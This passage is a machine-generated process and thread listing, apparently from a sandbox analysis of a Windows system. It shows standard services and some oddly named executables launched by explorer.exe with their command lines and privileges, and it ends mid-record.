Thread: id = 337 os_tid = 0x368 Thread: id = 338 os_tid = 0x350 Thread: id = 339 os_tid = 0x33c Thread: id = 840 os_tid = 0xc20 Process: id = "41" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 340 os_tid = 0x15c Thread: id = 341 os_tid = 0x388 Thread: id = 342 os_tid = 0x514 Thread: id = 343 os_tid = 0x318 Thread: id = 344 os_tid = 0x638 Thread: id = 345 os_tid = 0x25c Thread: id = 346 os_tid = 0x794 Thread: id = 347 os_tid = 0x7a4 Thread: id = 348 os_tid = 0x6d0 Thread: id = 349 os_tid = 0x4e4 Thread: id = 350 os_tid = 0x504 Thread: id = 351 os_tid = 0x7ac Thread: id = 352 os_tid = 0x630 Thread: id = 353 os_tid = 0x524 Thread: id = 354 os_tid = 0x64 Thread: id = 355 os_tid = 0x40c Thread: id = 356 os_tid = 0x798 Thread: id = 357 os_tid = 0x7dc Thread: id = 358 os_tid = 0x344 Thread: id = 359 os_tid = 0x7e8 Thread: id = 360 os_tid = 0x11c Thread: id = 361 os_tid = 0x41c Thread: id = 362 os_tid = 0x618 Thread: id = 363 os_tid = 0x5fc Thread: id = 364 os_tid = 0x5f4 Thread: id = 365 os_tid = 0x5ec Thread: id = 366 os_tid = 0x5d0 Thread: id = 367 os_tid = 0x5c4 Thread: id = 368 os_tid = 0x5c0 Thread: id = 369 os_tid = 0x59c Thread: id = 370 os_tid = 0x480 Thread: id = 371 os_tid = 0x45c Thread: id = 372 os_tid = 0x43c Thread: id = 373 os_tid = 0x414 Thread: id = 374 os_tid = 0x410 Thread: id = 375 os_tid = 0xf0 Thread: id = 376 os_tid = 0xc8 Thread: id = 377 os_tid = 0x3f4 Thread: id = 378 os_tid = 0x3e8 Thread: id = 379 os_tid = 0x39c Thread: id = 380 os_tid = 0x390 Thread: id = 381 os_tid = 0x37c Thread: id = 382 os_tid = 0x374 Thread: id = 657 os_tid = 0x114 Thread: id = 658 os_tid = 0xbb0 Thread: id = 660 os_tid = 0xbbc Thread: id = 661 os_tid = 0xbac Thread: id = 662 os_tid = 0xa1c Thread: id = 663 os_tid = 0x93c Thread: id = 664 os_tid = 0x99c Thread: id = 718 os_tid = 0xd2c Thread: id = 809 os_tid = 0xf68 Thread: id = 860 os_tid = 0x93c Thread: id = 861 os_tid = 0x99c Process: id = "42" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0x967a000" os_pid = "0x3ac" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "39" os_parent_pid = "0x2c8" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2e0" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7] Thread: id = 383 os_tid = 0xbac Thread: id = 384 os_tid = 0xa1c Thread: id = 385 os_tid = 0x1c4 Thread: id = 386 os_tid = 0x2c4 Thread: id = 387 os_tid = 0x4cc Thread: id = 388 os_tid = 0x518 Thread: id = 389 os_tid = 0x3c8 Thread: id = 390 os_tid = 0x3bc Thread: id = 391 os_tid = 0x3b0 Process: id = "43" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 392 os_tid = 0x7c0 Thread: id = 393 os_tid = 0x310 Thread: id = 394 os_tid = 0x128 Thread: id = 395 os_tid = 0x7c8 Thread: id = 396 os_tid = 0x6cc Thread: id = 397 os_tid = 0x644 Thread: id = 398 os_tid = 0x63c Thread: id = 399 os_tid = 0x154 Thread: id = 400 os_tid = 0x150 Thread: id = 401 os_tid = 0x120 Thread: id = 402 os_tid = 0x124 Thread: id = 403 os_tid = 0x118 Thread: id = 404 os_tid = 0x3fc Thread: id = 752 os_tid = 0xe08 Process: id = "44" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 405 os_tid = 0xb78 Thread: id = 406 os_tid = 0xc4 Thread: id = 407 os_tid = 0x660 Thread: id = 408 os_tid = 0x6c4 Thread: id = 409 os_tid = 0x7bc Thread: id = 410 os_tid = 0x72c Thread: id = 411 os_tid = 0x600 Thread: id = 412 os_tid = 0x5e8 Thread: id = 413 os_tid = 0x5d8 Thread: id = 414 os_tid = 0x5a4 Thread: id = 415 os_tid = 0x544 Thread: id = 416 os_tid = 0x404 Thread: id = 417 os_tid = 0x138 Thread: id = 418 os_tid = 0x378 Thread: id = 419 os_tid = 0x3a0 Thread: id = 420 os_tid = 0x214 Thread: id = 421 os_tid = 0x12c Process: id = "45" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x69a6000" os_pid = "0x434" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "40" os_parent_pid = "0x338" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 422 os_tid = 0x364 Thread: id = 423 os_tid = 0x44c Thread: id = 424 os_tid = 0x440 Thread: id = 425 os_tid = 0x438 Process: id = "46" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x688d000" os_pid = "0x444" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "33" os_parent_pid = "0xffffffffffffffff" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 426 os_tid = 0x92c Thread: id = 427 os_tid = 0x24c Thread: id = 428 os_tid = 0xb2c Thread: id = 429 os_tid = 0xaac Thread: id = 430 os_tid = 0x494 Thread: id = 431 os_tid = 0x9dc Thread: id = 432 os_tid = 0x98c Thread: id = 433 os_tid = 0x96c Thread: id = 434 os_tid = 0x95c Thread: id = 435 os_tid = 0xbb8 Thread: id = 436 os_tid = 0x330 Thread: id = 437 os_tid = 0x6c0 Thread: id = 438 os_tid = 0x360 Thread: id = 439 os_tid = 0x6b4 Thread: id = 440 os_tid = 0x7a8 Thread: id = 441 os_tid = 0x680 Thread: id = 442 os_tid = 0x158 Thread: id = 443 os_tid = 0x188 Thread: id = 444 os_tid = 0x4fc Thread: id = 445 os_tid = 0x650 Thread: id = 446 os_tid = 0x708 Thread: id = 447 os_tid = 0x710 Thread: id = 448 os_tid = 0x554 Thread: id = 449 os_tid = 0x7fc Thread: id = 450 os_tid = 0x7ec Thread: id = 451 os_tid = 0x7dc Thread: id = 452 os_tid = 0x780 Thread: id = 453 os_tid = 0x76c Thread: id = 454 os_tid = 0x768 Thread: id = 455 os_tid = 0x754 Thread: id = 456 os_tid = 0x730 Thread: id = 457 os_tid = 0x724 Thread: id = 458 os_tid = 0x71c Thread: id = 459 os_tid = 0x714 Thread: id = 460 os_tid = 0x4a0 Thread: id = 461 os_tid = 0x49c Thread: id = 462 os_tid = 0x498 Thread: id = 463 os_tid = 0x474 Thread: id = 464 os_tid = 0x450 Thread: id = 465 os_tid = 0x448 Process: id = "47" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x673d000" os_pid = "0x46c" os_integrity_level = "0x4000" os_privileges = "0x20a00080" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000107ea" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 466 os_tid = 0x5f8 Thread: id = 467 os_tid = 0x31c Thread: id = 468 os_tid = 0x30c Thread: id = 469 os_tid = 0x244 Thread: id = 470 os_tid = 0x6f0 Thread: id = 471 os_tid = 0x790 Thread: id = 472 os_tid = 0x58c Thread: id = 473 os_tid = 0x740 Thread: id = 474 os_tid = 0x3d4 Thread: id = 475 os_tid = 0x4bc Thread: id = 476 os_tid = 0x4a4 Thread: id = 477 os_tid = 0x48c Thread: id = 478 os_tid = 0x488 Thread: id = 479 os_tid = 0x470 Process: id = "48" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x21fc5000" os_pid = "0x4a8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 480 os_tid = 0x73c Thread: id = 481 os_tid = 0x90 Thread: id = 482 os_tid = 0x66c Thread: id = 483 os_tid = 0x5a0 Thread: id = 484 os_tid = 0x77c Thread: id = 485 os_tid = 0x7d4 Thread: id = 486 os_tid = 0x7a0 Thread: id = 487 os_tid = 0x774 Thread: id = 488 os_tid = 0x75c Thread: id = 489 os_tid = 0x4c0 Thread: id = 490 os_tid = 0x4b4 Thread: id = 491 os_tid = 0x4ac Process: id = "49" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x36b8000" os_pid = "0x4c4" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001130c" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 492 os_tid = 0x114 Thread: id = 493 os_tid = 0x1c0 Thread: id = 494 os_tid = 0x6b8 Thread: id = 495 os_tid = 0x22c Thread: id = 496 os_tid = 0x6ec Thread: id = 497 os_tid = 0x6e8 Thread: id = 498 os_tid = 0x60c Thread: id = 499 os_tid = 0x5ac Thread: id = 500 os_tid = 0x588 Thread: id = 501 os_tid = 0x584 Thread: id = 502 os_tid = 0x580 Thread: id = 503 os_tid = 0x57c Thread: id = 504 os_tid = 0x570 Thread: id = 505 os_tid = 0x558 Thread: id = 506 os_tid = 0x528 Thread: id = 507 os_tid = 0x520 Thread: id = 508 os_tid = 0x51c Thread: id = 509 os_tid = 0x508 Thread: id = 510 os_tid = 0x4f8 Thread: id = 511 os_tid = 0x4ec Thread: id = 512 os_tid = 0x4d0 Thread: id = 513 os_tid = 0x4c8 Thread: id = 757 os_tid = 0xe30 Process: id = "50" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x7a9ca000" os_pid = "0x530" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x370" cmd_line = "taskeng.exe {DAD14AF5-82A5-4514-AFD0-06330000279A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 514 os_tid = 0x230 Thread: id = 515 os_tid = 0x5b8 Thread: id = 516 os_tid = 0x598 Thread: id = 517 os_tid = 0x548 Thread: id = 518 os_tid = 0x53c Thread: id = 519 os_tid = 0x534 Thread: id = 777 os_tid = 0xe90 Thread: id = 780 os_tid = 0xea4 Thread: id = 782 os_tid = 0xeb0 Process: id = "51" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0xe272000" os_pid = "0x720" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "taskhost.exe $(Arg0)" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT TASK\\Microsoft-Windows-SideShow-AutoWake" [0xe], "NT TASK\\Microsoft-Windows-SideShow-SystemDataProviders" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-UsbCeip" [0xe], "NT TASK\\Microsoft-Windows-Ras-MobilityManager" [0xe], "NT TASK\\Microsoft-Windows-PerfTrack-BackgroundConfigSurveyor" [0xe], "NT TASK\\Microsoft-Windows-RAC-RacTask" [0xe], "NT TASK\\Microsoft-Windows-Customer Experience Improvement Program-KernelCeipTask" [0xe], "NT AUTHORITY\\Logon Session 00000000:0003ca91" [0xc0000007], "LOCAL" [0x7] Thread: id = 520 os_tid = 0xba0 Thread: id = 521 os_tid = 0x730 Thread: id = 522 os_tid = 0x568 Thread: id = 523 os_tid = 0x7c4 Thread: id = 524 os_tid = 0x56c Thread: id = 525 os_tid = 0x474 Thread: id = 526 os_tid = 0x14c Thread: id = 527 os_tid = 0x454 Thread: id = 528 os_tid = 0x6dc Thread: id = 529 os_tid = 0x7d0 Thread: id = 530 os_tid = 0x648 Thread: id = 531 os_tid = 0x668 Process: id = "52" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5e786000" os_pid = "0x5cc" os_integrity_level = "0x4000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceAndNoImpersonation" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AppIDSvc" [0xa], "NT SERVICE\\FDResPub" [0xa], "NT SERVICE\\FontCache" [0xe], "NT SERVICE\\Mcx2Svc" [0xa], "NT SERVICE\\QWAVE" [0xa], "NT SERVICE\\SCardSvr" [0xa], "NT SERVICE\\SensrSvc" [0xa], "NT SERVICE\\SSDPSRV" [0xa], "NT SERVICE\\TBS" [0xa], "NT SERVICE\\upnphost" [0xa], "NT SERVICE\\wcncsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:000435e3" [0xc000000f], "LOCAL" [0x7] Thread: id = 532 os_tid = 0xa88 Thread: id = 533 os_tid = 0x658 Thread: id = 534 os_tid = 0x430 Thread: id = 535 os_tid = 0x340 Thread: id = 536 os_tid = 0x4d8 Thread: id = 537 os_tid = 0x4d4 Process: id = "53" image_name = "sppsvc.exe" filename = "c:\\windows\\system32\\sppsvc.exe" page_root = "0x5d88c000" os_pid = "0x674" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\sppsvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\sppsvc" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043b05" [0xc000000f], "LOCAL" [0x7] Thread: id = 538 os_tid = 0x628 Thread: id = 539 os_tid = 0x4e0 Thread: id = 540 os_tid = 0x748 Thread: id = 541 os_tid = 0x64c Thread: id = 542 os_tid = 0x6a4 Thread: id = 543 os_tid = 0x760 Process: id = "54" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5cc91000" os_pid = "0x738" os_integrity_level = "0x4000" os_privileges = "0x209e0128" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k secsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\WinDefend" [0xe], "NT AUTHORITY\\Logon Session 00000000:00043ca8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 544 os_tid = 0x2a4 Thread: id = 545 os_tid = 0x6e4 Thread: id = 546 os_tid = 0x724 Thread: id = 547 os_tid = 0x670 Thread: id = 548 os_tid = 0x744 Thread: id = 549 os_tid = 0x7a8 Thread: id = 550 os_tid = 0x348 Thread: id = 551 os_tid = 0x784 Thread: id = 552 os_tid = 0x634 Thread: id = 553 os_tid = 0x5c8 Thread: id = 554 os_tid = 0x3b4 Thread: id = 555 os_tid = 0x5a8 Thread: id = 556 os_tid = 0x6a8 Thread: id = 557 os_tid = 0x224 Thread: id = 676 os_tid = 0xc10 Thread: id = 677 os_tid = 0xc14 Thread: id = 774 os_tid = 0xe80 Process: id = "55" image_name = "squirting.exe" filename = "c:\\program files (x86)\\microsoft visual studio 8\\squirting.exe" page_root = "0x4dfef000" os_pid = "0x770" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Visual Studio 8\\squirting.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Visual Studio 8\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 558 os_tid = 0x324 Process: id = "56" image_name = "secretary.exe" filename = "c:\\program files (x86)\\windows photo viewer\\secretary.exe" page_root = "0x4ee04000" os_pid = "0x408" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\secretary.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Photo Viewer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 559 os_tid = 0x7f8 Process: id = "57" image_name = "fundrebel.exe" filename = "c:\\program files (x86)\\windows photo viewer\\fundrebel.exe" page_root = "0x4f417000" os_pid = "0x664" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\fundrebel.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Photo Viewer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 560 os_tid = 0x290 Process: id = "58" image_name = "notes.exe" filename = "c:\\program files (x86)\\microsoft analysis services\\notes.exe" page_root = "0x4e829000" os_pid = "0x5e4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Microsoft Analysis Services\\notes.exe\" " cur_dir = "C:\\Program Files (x86)\\Microsoft Analysis Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 561 os_tid = 0x684 Process: id = "59" image_name = "dt-lightning.exe" filename = "c:\\program files\\microsoft sync framework\\dt-lightning.exe" page_root = "0x4e43b000" os_pid = "0x2dc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Sync Framework\\dt-lightning.exe\" " cur_dir = "C:\\Program Files\\Microsoft Sync Framework\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 562 os_tid = 0x2a8 Process: id = "60" image_name = "principle-eco.exe" filename = "c:\\program files (x86)\\msbuild\\principle-eco.exe" page_root = "0x4d24d000" os_pid = "0x42c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files 